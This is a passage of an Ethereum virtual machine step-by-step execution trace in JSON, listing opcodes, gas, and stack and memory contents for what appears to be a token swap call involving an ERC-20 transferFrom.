848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13823,"op":"PUSH2","gas":79844,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13826,"op":"JUMP","gas":79841,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x2e4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":79833,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":79832,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x35e9","0x1","0x2e4","0x2a4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":79829,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4","0x1","0x2e4","0x2a4","0x35e9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":79826,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4","0x35e9","0x2e4","0x2a4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":79824,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4","0x35e9","0x2e4","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":79822,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4","0x35e9","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13483,"op":"JUMP","gas":79820,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4","0x35e9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13801,"op":"JUMPDEST","gas":79812,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13802,"op":"SWAP8","gas":79811,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000","0000002000000000000000000000000000000000000000000000000000000000","0000000142116bf4000000000000000000000000000000000000000000000000","4563918244f40000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000"]},{"pc":13803,"op":"SWAP7","gas":79808,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x2e4","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x1","0x2e4","0x1c8f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000324","000000000000000000000000000